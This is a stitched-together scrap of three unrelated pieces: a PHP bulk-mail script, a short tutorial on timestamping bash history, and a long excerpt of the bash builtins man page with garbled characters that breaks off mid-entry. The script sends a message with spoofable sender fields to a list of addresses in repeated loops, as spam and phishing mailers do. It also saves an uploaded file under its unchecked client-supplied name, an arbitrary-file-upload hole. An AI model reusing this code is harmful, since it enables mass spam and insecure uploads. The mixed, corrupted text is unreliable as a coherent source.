 If ($file_name){
     copy ($_FILES['file']['tmp_name'], "".$_FILES['file']['name']) or die ('File Could Not Upload');
  }
 for($xx=0; $xx<$amount; $xx++){
  for($x=0; $x<$numemails; $x++){
    $to = $allemails[$x];
    if ($to){
      $to = ereg_replace(" ", "", $to);
      $message = ereg_replace("&email&", $to, $message);
      $subject = ereg_replace("&email&", $to, $subject);
      print "Sending Mail To $to.......";
      flush();
      $header = "From: $realname <$from>\r\nReply-To: $replyto\r\n";
      $header .= "MIME-Version: 1.0\r\n";
      If ($file_name) $header .= "Content-Type: multipart/mixed; boundary=$uid\r\n";
      If ($file_name) $header .= "--$uid\r\n";
      $header .= "Content-Type: text/$contenttype\r\n";
      $header .= "Content-Transfer-Encoding: 8bit\r\n\r\n";
      $header .= "$message\r\n";
      If ($file_name) $header .= "--$uid\r\n";
      If ($file_name) $header .= "Content-Type: $file_type; name=\"$file_name\"\r\n";
      If ($file_name) $header .= "Content-Transfer-Encoding: base64\r\n";
      If ($file_name) $header .= "Content-Disposition: attachment; filename=\"$file_name\"\r\n\r\n";
      If ($file_name) $header .= "$content\r\n";
      If ($file_name) $header .= "--$uid--";
      mail($to, $subject, "", $header);
      print "OK<br>";
      flush();
    }
  }
 }
}
?>
<p class="style2">
<p class="style1"></p>
</body>
<html>
History is a linux shell command which list all executed command serial whise on server.

This command is use for investigation purpose as which command was executed to solve issue or if any wrong command was executed to malfunctioning of server.

By default output of command is simple like:

[HTML]
989 which lynx
990 ll /usr/bin/lynx
991 history
992 w
993 top
994 cat /etc/hosts
995 cd /tmp
996 ls -la
[/HTML]

Now adding time stamp will show you a detail output.

To add time stamp SSH to server as root and edit file /root/.bash_profile with your favorite editor and add following line

[HTML]
export HISTTIMEFORMAT="%F %T "
[/HTML]

now logout of shell prompt and login again and execute history command, you will see detail output.

[HTML]
oot@Server[~]#history

19 05/10/10 08:26:48 hostname
20 05/10/10 08:46:34 history
21 05/10/10 08:46:48 w
22 05/10/10 08:46:50 /etc/init.d/named status
23 05/10/10 08:46:52 cal
24 05/10/10 08:46:53 ls -la
25 05/10/10 08:46:55 top
26 05/10/10 08:47:11 tail -f tail -f /var/log/secure
27 05/10/10 08:47:29 history
[/HTML]

Note: Edit file /root/.bash_profile carefully, do not mess it up. 
Also execute command carefully on server now, as you have enabled time stamp, you can be caught easily for running wrong command.root@click [~]# cat /usr/local/apache/htdocs/history_man_output.txt
BASH_BUILTINS(1)                                              BASH_BUILTINS(1)



NAME
       bash,  :,  ., [, alias, bg, bind, break, builtin, cd, command, compgen,
       complete, continue, declare, dirs, disown, echo,  enable,  eval,  exec,
       exit,  export,  fc,  fg, getopts, hash, help, history, jobs, kill, let,
       local, logout, popd, printf, pushd, pwd, read, readonly,  return,  set,
       shift,  shopt,  source,  suspend,  test,  times,  trap,  type, typeset,
       ulimit, umask, unalias, unset,  wait  -  bash  built-in  commands,  see
       bash(1)

BASH BUILTIN COMMANDS
       Unless otherwise noted, each builtin command documented in this section
       as accepting options preceded by - accepts -- to signify the end of the
       options.   For  example,  the  :, true, false, and test builtins do not
       accept options.  Also, please note that while executing in non-interac-
       tive  mode  and  while  in  posix mode, any special builtin (like ., :,
       break, continue, eval,  exec,  exit,  export,  readonly,  return,  set,
       shift,  source,  times,  trap,  unset)  exiting  with a non-zero status
       causes the shell to stop execution.
       : [arguments]
              No effect; the command does nothing beyond  expanding  arguments
              and  performing any specified redirections.  A zero exit code is
              returned.

        .  filename [arguments]
       source filename [arguments]
              Read and execute commands from filename  in  the  current  shell
              environment  and return the exit status of the last command exe-
              cuted from filename.  If filename does not contain a slash, file
              names  in  PATH  are used to find the directory containing file-
              name.  The file searched for in PATH  need  not  be  executable.
              When  bash  is  not  in  posix  mode,  the  current directory is
              searched if no file is found in PATH.  If the sourcepath  option
              to  the  shopt  builtin  command  is turned off, the PATH is not
              searched.  If any arguments are supplied, they become the  posi-
              tional  parameters  when  filename  is  executed.  Otherwise the
              positional parameters are unchanged.  The return status  is  the
              status  of  the  last  command exited within the script (0 if no
              commands are executed), and false if filename is  not  found  or
              cannot be read.

       alias [-p] [name[=value] ...]
              Alias with no arguments or with the -p option prints the list of
              aliases in the form alias name=value on standard  output.   When
              arguments  are supplied, an alias is defined for each name whose
              value is given.  A trailing space in  value causes the next word
              to be checked for alias substitution when the alias is expanded.
              For each name in the argument list for which no  value  is  sup-
              plied,  the  name  and  value  of  the  alias is printed.  Alias
              returns true unless a name is given for which no alias has  been
              defined.

              Note  aliases  are  not  expanded  by default in non-interactive
              shell, and it can be enabled by setting the expand_aliases shell
              option using shopt.

       bg [jobspec ...]
              Resume  each  suspended  job jobspec in the background, as if it
              had been started with &.  If jobspec is not present, the shellâs
              notion  of the current job is used.  bg jobspec returns 0 unless
              run when job control is disabled or, when run with  job  control
              enabled,  any  specified  jobspec  was  not found or was started
              without job control.

       bind [-m keymap] [-lpsvPSV]
       bind [-m keymap] [-q function] [-u function] [-r keyseq]
       bind [-m keymap] -f filename
       bind [-m keymap] -x keyseq:shell-command
       bind [-m keymap] keyseq:function-name
       bind readline-command
              Display current readline key and function bindings, bind  a  key
              sequence  to  a  readline  function  or macro, or set a readline
              variable.  Each non-option argument is a  command  as  it  would
              appear  in  .inputrc, but each binding or command must be passed
              as a separate argument; e.g.,  â"\C-x\C-r":  re-read-init-fileâ.
              Options, if supplied, have the following meanings:
              -m keymap
                     Use keymap as the keymap to be affected by the subsequent
                     bindings.  Acceptable keymap names are emacs, emacs-stan-
                     dard,  emacs-meta,  emacs-ctlx,  vi, vi-move, vi-command,
                     and vi-insert.  vi is equivalent to vi-command; emacs  is
                     equivalent to emacs-standard.
              -l     List the names of all readline functions.
              -p     Display  readline  function  names and bindings in such a
                     way that they can be re-read.
              -P     List current readline function names and bindings.
              -v     Display readline variable names and values in such a  way
                     that they can be re-read.
              -V     List current readline variable names and values.
              -s     Display  readline  key  sequences bound to macros and the
                     strings they output in such a way that they  can  be  re-
                     read.
              -S     Display  readline  key  sequences bound to macros and the
                     strings they output.
              -f filename
                     Read key bindings from filename.
              -q function
                     Query about which keys invoke the named function.
              -u function
                     Unbind all keys bound to the named function.
              -r keyseq
                     Remove any current binding for keyseq.
              -x keyseq:shell-command
                     Cause shell-command to be  executed  whenever  keyseq  is
                     entered.

              The  return value is 0 unless an unrecognized option is given or
              an error occurred.

       break [n]
              Exit from within a for, while, until, or select loop.  If  n  is
              specified, break n levels.  n must be ⥠1.  If n is greater than
              the number of enclosing loops, all enclosing loops  are  exited.
              The  return  value  is  non-zero when n is ⤠0; Otherwise, break
              returns 0 value.

       builtin shell-builtin [arguments]
              Execute the specified shell builtin, passing it  arguments,  and
              return its exit status.  This is useful when defining a function
              whose name is the same as a shell builtin, retaining  the  func-
              tionality of the builtin within the function.  The cd builtin is
              commonly redefined this way.  The  return  status  is  false  if
              shell-builtin is not a shell builtin command.

       cd [-L|-P] [dir]
              Change  the  current directory to dir.  The variable HOME is the
              default dir.  The variable CDPATH defines the  search  path  for
              the  directory  containing  dir.  Alternative directory names in
              CDPATH are separated by a colon (:).  A null directory  name  in
              CDPATH  is  the  same as the current directory, i.e., ââ.ââ.  If
              dir begins with a slash (/), then CDPATH is  not  used.  The  -P
              option  says  to use the physical directory structure instead of
              following symbolic links (see also the  -P  option  to  the  set
              builtin command); the -L option forces symbolic links to be fol-
              lowed.  An argument of - is equivalent to $OLDPWD.   If  a  non-
              empty  directory  name from CDPATH is used, or if - is the first
              argument, and the directory change is successful,  the  absolute
              pathname of the new working directory is written to the standard
              output.  The return value is true if the directory was  success-
              fully changed; false otherwise.

       caller [expr]
              Returns the context of any active subroutine call (a shell func-
              tion or a script executed with the . or source builtins.   With-
              out expr, caller displays the line number and source filename of
              the current subroutine call.  If a non-negative integer is  sup-
              plied as expr, caller displays the line number, subroutine name,
              and source file corresponding to that position  in  the  current
              execution  call  stack.  This extra information may be used, for
              example, to print a stack trace.  The current frame is frame  0.
              The  return  value is 0 unless the shell is not executing a sub-
              routine call or expr does not correspond to a valid position  in
              the call stack.

       command [-pVv] command [arg ...]
              Run  command  with  args  suppressing  the normal shell function
              lookup. Only builtin commands or commands found in the PATH  are
              executed.   If the -p option is given, the search for command is
              performed using a default value for PATH that is  guaranteed  to
              find  all  of  the  standard  utilities.  If either the -V or -v
              option is supplied, a description of command is printed.  The -v
              option  causes a single word indicating the command or file name
              used to invoke command to be displayed; the -V option produces a
              more  verbose  description.  If the -V or -v option is supplied,
              the exit status is 0 if command was found, and  1  if  not.   If
              neither option is supplied and an error occurred or command can-
              not be found, the exit status is 127.  Otherwise, the exit  sta-
              tus of the command builtin is the exit status of command.

       compgen [option] [word]
              Generate  possible  completion matches for word according to the
              options, which may  be  any  option  accepted  by  the  complete
              builtin  with  the exception of -p and -r, and write the matches
              to the standard output.  When using the -F or  -C  options,  the
              various  shell  variables  set  by  the  programmable completion
              facilities, while available, will not have useful values.

              The matches will be generated in the same way  as  if  the  pro-
              grammable  completion  code  had  generated them directly from a
              completion specification with the same flags.  If word is speci-
              fied, only those completions matching word will be displayed.

              The  return  value is true unless an invalid option is supplied,
              or no matches were generated.

       complete [-abcdefgjksuv] [-o comp-option] [-A action] [-G globpat]  [-W
       wordlist] [-P prefix] [-S suffix]
              [-X filterpat] [-F function] [-C command] name [name ...]
       complete -pr [name ...]
              Specify how arguments to each name should be completed.  If  the
              -p  option  is supplied, or if no options are supplied, existing
              completion specifications are printed in a way that allows  them
              to be reused as input.  The -r option removes a completion spec-
              ification for each name, or, if no names are supplied, all  com-
              pletion specifications.

              The  process  of  applying  these completion specifications when
              word completion is  attempted  is  described  above  under  Pro-
              grammable Completion.

              Other  options,  if specified, have the following meanings.  The
              arguments to the -G, -W, and -X options (and, if necessary,  the
              -P  and -S options) should be quoted to protect them from expan-
              sion before the complete builtin is invoked.
              -o comp-option
                      The comp-option controls several aspects  of  the  comp-
                      specâs  behavior beyond the simple generation of comple-
                      tions.  comp-option may be one of:
                      bashdefault
                              Perform the rest of the default bash completions
                              if the compspec generates no matches.
                      default Use  readlineâs  default  filename completion if
                              the compspec generates no matches.
                      dirnames
                              Perform directory name completion if  the  comp-
                              spec generates no matches.
                      filenames
                              Tell  readline that the compspec generates file-
                              names, so it can perform  any  filename-specific
                              processing  (like  adding  a  slash to directory
                              names or suppressing trailing spaces).  Intended
                              to be used with shell functions.
                      nospace Tell   readline  not  to  append  a  space  (the
                              default) to words completed at the  end  of  the
                              line.
                      plusdirs
                              After  any  matches  defined by the compspec are
                              generated,   directory   name   completion    is
                              attempted  and  any  matches  are  added  to the
                              results of the other actions.
              -A action
                      The action may be one of the  following  to  generate  a
                      list of possible completions:
                      alias   Alias names.  May also be specified as -a.
                      arrayvar
                              Array variable names.
                      binding Readline key binding names.
                      builtin Names  of  shell  builtin commands.  May also be
                              specified as -b.
                      command Command names.  May also be specified as -c.
                      directory
                              Directory names.  May also be specified as -d.
                      disabled
                              Names of disabled shell builtins.
                      enabled Names of enabled shell builtins.
                      export  Names of exported shell variables.  May also  be
                              specified as -e.
                      file    File names.  May also be specified as -f.
                      function
                              Names of shell functions.
                      group   Group names.  May also be specified as -g.
                      helptopic
                              Help topics as accepted by the help builtin.
                      hostname
                              Hostnames,  as  taken from the file specified by
                              the HOSTFILE shell variable.
                      job     Job names, if job control is active.   May  also
                              be specified as -j.
                      keyword Shell  reserved words.  May also be specified as
                              -k.
                      running Names of running jobs, if job control is active.
                      service Service names.  May also be specified as -s.
                      setopt  Valid  arguments  for  the  -o option to the set
                              builtin.
                      shopt   Shell option names  as  accepted  by  the  shopt
                              builtin.
                      signal  Signal names.
                      stopped Names of stopped jobs, if job control is active.
                      user    User names.  May also be specified as -u.
                      variable
                              Names of all shell variables.  May also be spec-
                              ified as -v.
              -G globpat
                      The  filename  expansion  pattern globpat is expanded to
                      generate the possible completions.
              -W wordlist
                      The wordlist is split using the characters  in  the  IFS
                      special  variable as delimiters, and each resultant word
                      is expanded.  The possible completions are  the  members
                      of  the  resultant  list which match the word being com-
                      pleted.
              -C command
                      command is executed in a subshell environment,  and  its
                      output is used as the possible completions.
              -F function
                      The  shell  function function is executed in the current
                      shell environment.  When it finishes, the possible  com-
                      pletions  are  retrieved from the value of the COMPREPLY
                      array variable.
              -X filterpat
                      filterpat is a pattern as used for  filename  expansion.
                      It is applied to the list of possible completions gener-
                      ated by the preceding options and  arguments,  and  each
                      completion  matching filterpat is removed from the list.
                      A leading ! in filterpat negates the  pattern;  in  this
                      case,  any completion not matching filterpat is removed.
              -P prefix
                      prefix is added at the beginning of each  possible  com-
                      pletion after all other options have been applied.
              -S suffix
                      suffix is appended to each possible completion after all
                      other options have been applied.

              The return value is true unless an invalid option  is  supplied,
              an  option  other than -p or -r is supplied without a name argu-
              ment, an attempt is made to remove  a  completion  specification
              for a name for which no specification exists, or an error occurs
              adding a completion specification.

       continue [n]
              Resume the next iteration of the enclosing for, while, until, or
              select  loop.   If  n  is specified, resume at the nth enclosing
              loop.  n must be ⥠1.  If  n  is  greater  than  the  number  of
              enclosing  loops,  the  last  enclosing  loop (the ââtop-levelââ
              loop) is resumed.  When continue is executed inside of loop, the
              return  value  is  non-zero  when  n is ⤠0; Otherwise, continue
              returns 0 value.  When continue is executed outside of loop, the
              return value is 0.

       declare [-afFirtx] [-p] [name[=value] ...]
       typeset [-afFirtx] [-p] [name[=value] ...]
              Declare  variables and/or give them attributes.  If no names are
              given then display the values of variables.  The -p option  will
              display  the  attributes  and  values  of each name.  When -p is
              used, additional options are ignored.  The  -F  option  inhibits
              the  display of function definitions; only the function name and
              attributes are printed.  If the extdebug shell option is enabled
              using  shopt,  the  source  file  name and line number where the
              function is defined  are  displayed  as  well.   The  -F  option
              implies  -f.  The following options can be used to restrict out-
              put to variables with the specified attribute or to  give  vari-
              ables attributes:
              -a     Each name is an array variable (see Arrays above).
              -f     Use function names only.
              -i     The variable is treated as an integer; arithmetic evalua-
                     tion (see ARITHMETIC EVALUATION ) is performed  when  the
                     variable is assigned a value.
              -r     Make names readonly.  These names cannot then be assigned
                     values by subsequent assignment statements or unset.
              -t     Give each name the  trace  attribute.   Traced  functions
                     inherit  the  DEBUG  and  RETURN  traps  from the calling
                     shell.  The trace attribute has no  special  meaning  for
                     variables.
              -x     Mark  names  for  export  to  subsequent commands via the
                     environment.

              Using â+â instead of â-â turns off the attribute  instead,  with
              the  exception that +a may not be used to destroy an array vari-
              able.  When used in a function, makes each name local,  as  with
              the  local  command.   If a variable name is followed by =value,
              the value of the variable is set to value.  The return value  is
              0 unless an invalid option is encountered, an attempt is made to
              define a function using ââ-f foo=barââ, an attempt  is  made  to
              assign  a  value  to  a readonly variable, an attempt is made to
              assign a value to an array variable without using  the  compound
              assignment  syntax (see Arrays above), one of the names is not a
              valid shell variable name, an attempt is made to turn off  read-
              only  status for a readonly variable, an attempt is made to turn
              off array status for an array variable, or an attempt is made to
              display a non-existent function with -f.

       dirs [-clpv] [+n] [-n]
              Without  options,  displays  the  list  of  currently remembered
              directories.  The default display  is  on  a  single  line  with
              directory  names  separated by spaces.  Directories are added to
              the list with  the  pushd  command;  the  popd  command  removes
              entries from the list.
              +n     Displays the nth entry counting from the left of the list
                     shown by dirs when invoked without options, starting with
                     zero.
              -n     Displays  the  nth  entry  counting from the right of the
                     list shown by dirs when invoked without options, starting
                     with zero.
              -c     Clears  the  directory  stack  by  deleting  all  of  the
                     entries.
              -l     Produces a longer listing;  the  default  listing  format
                     uses a tilde to denote the home directory.
              -p     Print the directory stack with one entry per line.
              -v     Print  the  directory stack with one entry per line, pre-
                     fixing each entry with its index in the stack.

              The return value is 0 unless an invalid option is supplied or  n
              indexes beyond the end of the directory stack.

       disown [-ar] [-h] [jobspec ...]
              Without  options,  each  jobspec  is  removed  from the table of
              active jobs.  If the -h option is given,  each  jobspec  is  not
              removed from the table, but is marked so that SIGHUP is not sent
              to the job if the shell receives a SIGHUP.   If  no  jobspec  is
              present,  and  neither the -a nor the -r option is supplied, the
              current job is used.  If no jobspec is supplied, the  -a  option
              means  to  remove or mark all jobs; the -r option without a job-
              spec argument restricts operation to running jobs.   The  return
              value is 0 unless a jobspec does not specify a valid job.

       echo [-neE] [arg ...]
              Output  the  args,  separated  by spaces, followed by a newline.
              The return status is always 0.  If -n is specified, the trailing
              newline  is  suppressed.  If the -e option is given, interpreta-
              tion of the following backslash-escaped characters  is  enabled.
              The  -E option disables the interpretation of these escape char-
              acters, even on systems where they are interpreted  by  default.
              The  xpg_echo  shell option may be used to dynamically determine
              whether or not echo expands these escape characters by  default.
              echo  does  not  interpret  -- to mean the end of options.  echo
              interprets the following escape sequences:
              \a     alert (bell)
              \b     backspace
              \c     suppress trailing newline
              \e     an escape character
              \f     form feed
              \n     new line
              \r     carriage return
              \t     horizontal tab
              \v     vertical tab
              \\     backslash
              nnn  the eight-bit character whose value is  the  octal  value
                     nnn (zero to three octal digits)
              \xHH   the  eight-bit  character  whose value is the hexadecimal
                     value HH (one or two hex digits)

       enable [-adnps] [-f filename] [name ...]
              Enable and disable builtin shell commands.  Disabling a  builtin
              allows a disk command which has the same name as a shell builtin
              to be executed without specifying a full pathname,  even  though
              the  shell  normally searches for builtins before disk commands.
              If -n is used, each  name  is  disabled;  otherwise,  names  are
              enabled.  For example, to use the test binary found via the PATH
              instead of the shell builtin version, run  ââenable  -n  testââ.
              The  -f  option  means to load the new builtin command name from
              shared object filename, on systems that support dynamic loading.
              The  -d  option will delete a builtin previously loaded with -f.
              If no name arguments are given, or if the -p option is supplied,
              a list of shell builtins is printed.  With no other option argu-
              ments, the list consists of all enabled shell builtins.   If  -n
              is  supplied, only disabled builtins are printed.  If -a is sup-
              plied, the list printed includes all builtins, with  an  indica-
              tion  of whether or not each is enabled.  If -s is supplied, the
              output is restricted to the POSIX special builtins.  The  return
              value  is  0 unless a name is not a shell builtin or there is an
              error loading a new builtin from a shared object.

       eval [arg ...]
              The args are read and concatenated together into a  single  com-
              mand.   This command is then read and executed by the shell, and
              its exit status is returned as the value of eval.  If there  are
              no args, or only null arguments, eval returns 0.

       exec [-cl] [-a name] [command [arguments]]
              If  command is specified, it replaces the shell.  No new process
              is created.  The arguments become the arguments to command.   If
              the -l option is supplied, the shell places a dash at the begin-
              ning of the zeroth arg passed to command.  This is what login(1)
              does.  The -c option causes command to be executed with an empty
              environment.  If -a is supplied, the shell passes  name  as  the
              zeroth  argument  to the executed command.  If command cannot be
              executed for some reason, a non-interactive shell exits,  unless
              the  shell  option execfail is enabled, in which case it returns
              failure.  An interactive shell returns failure if the file  can-
              not  be executed.  If command is not specified, any redirections
              take effect in the current shell, and the return  status  is  0.
              If there is a redirection error, the return status is 1.

       exit [n]
              Cause  the  shell  to exit with a status of n.  If n is omitted,
              the exit status is that of the last command executed.  A trap on
              EXIT is executed before the shell terminates.

       export [-fn] [name[=word]] ...
       export -p
              The  supplied names are marked for automatic export to the envi-
              ronment of subsequently executed commands.  If the -f option  is
              given,  the names refer to functions.  If no names are given, or
              if the -p option is supplied, a  list  of  all  names  that  are
              exported  in  this  shell  is printed.  The -n option causes the
              export property to be removed from each  name.   If  a  variable
              name  is  followed by =word, the value of the variable is set to
              word.  export returns an exit status  of  0  unless  an  invalid
              option  is  encountered,  one  of the names is not a valid shell
              variable name, or -f is supplied with a name that is not a func-
              tion.

       fc [-e ename] [-nlr] [first] [last]
       fc -s [pat=rep] [cmd]
              Fix  Command.  In the first form, a range of commands from first
              to last is selected from the history list.  First and  last  may
              be  specified  as a string (to locate the last command beginning
              with that string) or as a number  (an  index  into  the  history
              list, where a negative number is used as an offset from the cur-
              rent command number).  If last is not specified it is set to the
              current  command  for  listing (so that ââfc -l -10ââ prints the
              last 10 commands) and to first otherwise.  If first is not spec-
              ified  it is set to the previous command for editing and -16 for
              listing.

              The -n option suppresses the command numbers when listing.   The
              -r  option reverses the order of the commands.  If the -l option
              is given, the commands are listed on  standard  output.   Other-
              wise,  the editor given by ename is invoked on a file containing
              those commands.  If ename is not given, the value of the  FCEDIT
              variable  is used, and the value of EDITOR if FCEDIT is not set.
              If neither variable is set, is used.  When editing is  complete,
              the edited commands are echoed and executed.

              In  the  second form, command is re-executed after each instance
              of pat is replaced by rep.  A useful alias to use with  this  is
              ââr="fc  -s"ââ,  so  that  typing ââr ccââ runs the last command
              beginning with ââccââ and typing âârââ re-executes the last com-
              mand.

              If  the  first  form  is  used,  the return value is 0 unless an
              invalid option is encountered or first or last  specify  history
              lines  out  of  range.  If the -e option is supplied, the return
              value is the value of the last command executed or failure if an
              error occurs with the temporary file of commands.  If the second
              form is used, the return status is that of the  command  re-exe-
              cuted,  unless  cmd  does  not  specify a valid history line, in
              which case fc returns failure.

       fg [jobspec]
              Resume jobspec in the foreground, and make it the  current  job.
              If jobspec is not present, the shellâs notion of the current job
              is used.  The return value is that of the  command  placed  into
              the  foreground,  or failure if run when job control is disabled
              or, when run with job control enabled, if jobspec does not spec-
              ify  a  valid  job  or  jobspec specifies a job that was started
              without job control.

       getopts optstring name [args]
              getopts is used by shell procedures to parse positional  parame-
              ters.   optstring  contains  the  option characters to be recog-
              nized; if a character is followed by  a  colon,  the  option  is
              expected  to have an argument, which should be separated from it
              by white space.  The colon and question mark characters may  not
              be  used as option characters.  Each time it is invoked, getopts
              places the next option in the shell variable name,  initializing
              name if it does not exist, and the index of the next argument to
              be processed into the variable OPTIND.  OPTIND is initialized to
              1  each  time  the  shell or a shell script is invoked.  When an
              option requires an argument, getopts places that  argument  into
              the  variable OPTARG.  The shell does not reset OPTIND automati-
              cally; it must be  manually  reset  between  multiple  calls  to
              getopts within the same shell invocation if a new set of parame-
              ters is to be used.

              When the end of options is encountered,  getopts  exits  with  a
              return  value  greater than zero.  OPTIND is set to the index of
              the first non-option argument, and name is set to ?.

              getopts normally parses the positional parameters, but  if  more
              arguments are given in args, getopts parses those instead.

              getopts  can  report errors in two ways.  If the first character
              of optstring is a colon, silent error  reporting  is  used.   In
              normal  operation  diagnostic  messages are printed when invalid
              options or missing option arguments  are  encountered.   If  the
              variable  OPTERR  is  set  to  0, no error messages will be dis-
              played, even if the first character of optstring is not a colon.

              If an invalid option is seen, getopts places ? into name and, if
              not silent, prints an  error  message  and  unsets  OPTARG.   If
              getopts  is  silent,  the  option  character  found is placed in
              OPTARG and no diagnostic message is printed.

              If a required argument is not found, and getopts is not  silent,
              a  question  mark  (?) is placed in name, OPTARG is unset, and a
              diagnostic message is printed.  If getopts  is  silent,  then  a
              colon  (:)  is  placed  in  name and OPTARG is set to the option
              character found.

              getopts returns true if an option, specified or unspecified,  is
              found.  It returns false if the end of options is encountered or
              an error occurs.

       hash [-lr] [-p filename] [-dt] [name]
              For each name, the full file name of the command  is  determined
              by searching the directories in $PATH and remembered.  If the -p
              option is supplied, no path search is performed, and filename is
              used as the full file name of the command.  The -r option causes
              the shell to forget all remembered  locations.   The  -d  option
              causes the shell to forget the remembered location of each name.
              If the -t option is supplied, the full pathname  to  which  each
              name  corresponds  is  printed.   If multiple name arguments are
              supplied with -t, the name is printed  before  the  hashed  full
              pathname.  The -l option causes output to be displayed in a for-
              mat that may be reused as input.  If no arguments are given,  or
              if only -l is supplied, information about remembered commands is
              printed.  The return status is true unless a name is  not  found
              or an invalid option is supplied.

       help [-s] [pattern]
              Display  helpful information about builtin commands.  If pattern
              is specified, help gives detailed help on all commands  matching
              pattern;  otherwise  help for all the builtins and shell control
              structures is printed.  The -s option restricts the  information
              displayed  to  a  short  usage synopsis.  The return status is 0
              unless no command matches pattern.

       history [n]
       history -c
       history -d offset
       history -anrw [filename]
       history -p arg [arg ...]
       history -s arg [arg ...]
              With no options, display the command history list with line num-
              bers.  Lines listed with a * have been modified.  An argument of
              n lists only the last n lines.  If the shell variable  HISTTIME-
              FORMAT  is  set  and not null, it is used as a format string for
              strftime(3) to display the time stamp associated with each  dis-
              played  history  entry.  No intervening blank is printed between
              the formatted time stamp and the history line.  If  filename  is
              supplied,  it  is  used as the name of the history file; if not,
              the value of HISTFILE is used.  Options, if supplied,  have  the
              following meanings:
              -c     Clear the history list by deleting all the entries.
              -d offset
                     Delete the history entry at position offset.
              -a     Append  the  âânewââ history lines (history lines entered
                     since the beginning of the current bash session)  to  the
                     history file.
              -n     Read  the history lines not already read from the history
                     file into the current  history  list.   These  are  lines
                     appended  to  the history file since the beginning of the
                     current bash session.
              -r     Read the contents of the history file and use them as the
                     current history.
              -w     Write  the current history to the history file, overwrit-
                     ing the history fileâs contents.
              -p     Perform history substitution on the  following  args  and
                     display  the  result  on  the  standard output.  Does not
                     store the results in the history list.  Each arg must  be
                     quoted to disable normal history expansion.
              -s     Store  the  args  in  the history list as a single entry.
                     The last command in the history list  is  removed  before
                     the args are added.

              If the HISTTIMEFORMAT is set, the time stamp information associ-
              ated with each history entry is written  to  the  history  file.
              The  return  value is 0 unless an invalid option is encountered,
              an error occurs while reading or writing the  history  file,  an
              invalid  offset is supplied as an argument to -d, or the history
              expansion supplied as an argument to -p fails.

       jobs [-lnprs] [ jobspec ... ]
       jobs -x command [ args ... ]
              The first form lists the active jobs.  The options have the fol-
              lowing meanings:
              -l     List process IDs in addition to the normal information.
              -p     List  only  the  process  ID  of  the jobâs process group
                     leader.
              -n     Display information only about  jobs  that  have  changed
                     status  since the user was last notified of their status.
              -r     Restrict output to running jobs.
              -s     Restrict output to stopped jobs.

              If jobspec is given, output is restricted to  information  about
              that  job.   The  return status is 0 unless an invalid option is
              encountered or an invalid jobspec is supplied.

              If the -x option is supplied, jobs replaces any jobspec found in
              command  or  args  with  the corresponding process group ID, and
              executes command passing it args, returning its exit status.

       kill [-s sigspec | -n signum | -sigspec] [pid | jobspec] ...
       kill -l [sigspec | exit_status]
              Send the signal named by sigspec  or  signum  to  the  processes
              named  by  pid or jobspec.  sigspec is either a case-insensitive
              signal name such as SIGKILL (with or without the SIG prefix)  or
              a  signal  number; signum is a signal number.  If sigspec is not
              present, then SIGTERM is assumed.  An argument of -l  lists  the
              signal  names.   If any arguments are supplied when -l is given,
              the names of the signals  corresponding  to  the  arguments  are
              listed, and the return status is 0.  The exit_status argument to
              -l is a number specifying either a signal  number  or  the  exit
              status  of  a process terminated by a signal.  kill returns true
              if at least one signal was successfully sent,  or  false  if  an
              error occurs or an invalid option is encountered.

       let arg [arg ...]
              Each arg is an arithmetic expression to be evaluated (see ARITH-
              METIC EVALUATION).  If the last arg evaluates to 0, let  returns
              1; 0 is returned otherwise.

       local [option] [name[=value] ...]
              For  each  argument, a local variable named name is created, and
              assigned value.  The option can be any of the  options  accepted
              by declare.  When local is used within a function, it causes the
              variable name to have a visible scope restricted to  that  func-
              tion and its children.  With no operands, local writes a list of
              local variables to the standard output.  It is an error  to  use
              local when not within a function.  The return status is 0 unless
              local is used outside a function, an invalid name  is  supplied,
              or name is a readonly variable.

       logout Exit a login shell.

       popd [-n] [+n] [-n]
              Removes  entries  from  the directory stack.  With no arguments,
              removes the top directory from the stack, and performs a  cd  to
              the new top directory.  Arguments, if supplied, have the follow-
              ing meanings:
              +n     Removes the nth entry counting from the left of the  list
                     shown  by  dirs, starting with zero.  For example: ââpopd
                     +0ââ removes the first directory, ââpopd +1ââ the second.
              -n     Removes the nth entry counting from the right of the list
                     shown by dirs, starting with zero.  For  example:  ââpopd
                     -0ââ  removes the last directory, ââpopd -1ââ the next to
                     last.
              -n     Suppresses the normal change of directory  when  removing
                     directories  from  the  stack,  so that only the stack is
                     manipulated.

              If the popd command is successful, a dirs is performed as  well,
              and  the  return  status is 0.  popd returns false if an invalid
              option is encountered, the directory stack is empty, a non-exis-
              tent directory stack entry is specified, or the directory change
              fails.

       printf [-v var] format [arguments]
              Write the formatted arguments to the standard output  under  the
              control  of  the format.  The format is a character string which
              contains three types of objects:  plain  characters,  which  are
              simply  copied  to  standard output, character escape sequences,
              which are converted and copied to the standard output, and  for-
              mat  specifications,  each  of which causes printing of the next
              successive argument.  In addition to the standard printf(1) for-
              mats,  %b  causes printf to expand backslash escape sequences in
              the corresponding argument (except that  \c  terminates  output,
              backslashes in \', \", and \? are not removed, and octal escapes
              beginning with  may contain up to four digits), and %q  causes
              printf to output the corresponding argument in a format that can
              be reused as shell input.

              The -v option causes the output to be assigned to  the  variable
              var rather than being printed to the standard output.

              The  format  is  reused as necessary to consume all of the argu-
              ments.  If the format requires more arguments than are supplied,
              the  extra  format  specifications  behave as if a zero value or
              null string, as appropriate,  had  been  supplied.   The  return
              value is zero on success, non-zero on failure.

       pushd [-n] [dir]
       pushd [-n] [+n] [-n]
              Adds  a  directory to the top of the directory stack, or rotates
              the stack, making the new top of the stack the  current  working
              directory.  With no arguments, exchanges the top two directories
              and returns 0, unless the directory stack is empty.   Arguments,
              if supplied, have the following meanings:
              +n     Rotates  the  stack  so  that the nth directory (counting
                     from the left of the list shown by  dirs,  starting  with
                     zero) is at the top.
              -n     Rotates  the  stack  so  that the nth directory (counting
                     from the right of the list shown by dirs,  starting  with
                     zero) is at the top.
              -n     Suppresses  the  normal  change  of directory when adding
                     directories to the stack,  so  that  only  the  stack  is
                     manipulated.
              dir    Adds dir to the directory stack at the top, making it the
                     new current working directory.

              If the pushd command is successful, a dirs is performed as well.
              If  the first form is used, pushd returns 0 unless the cd to dir
              fails.  With the second form, pushd returns 0 unless the  direc-
              tory  stack  is empty, a non-existent directory stack element is
              specified, or the directory change to the specified new  current
              directory fails.

       pwd [-LP]
              Print  the  absolute  pathname of the current working directory.
              The pathname printed contains no symbolic links if the -P option
              is supplied or the -o physical option to the set builtin command
              is enabled.  If the -L option is used, the pathname printed  may
              contain  symbolic links.  The return status is 0 unless an error
              occurs while reading the name of the  current  directory  or  an
              invalid option is supplied.

       read [-ers] [-u fd] [-t timeout] [-a aname] [-p prompt] [-n nchars] [-d
       delim] [name ...]
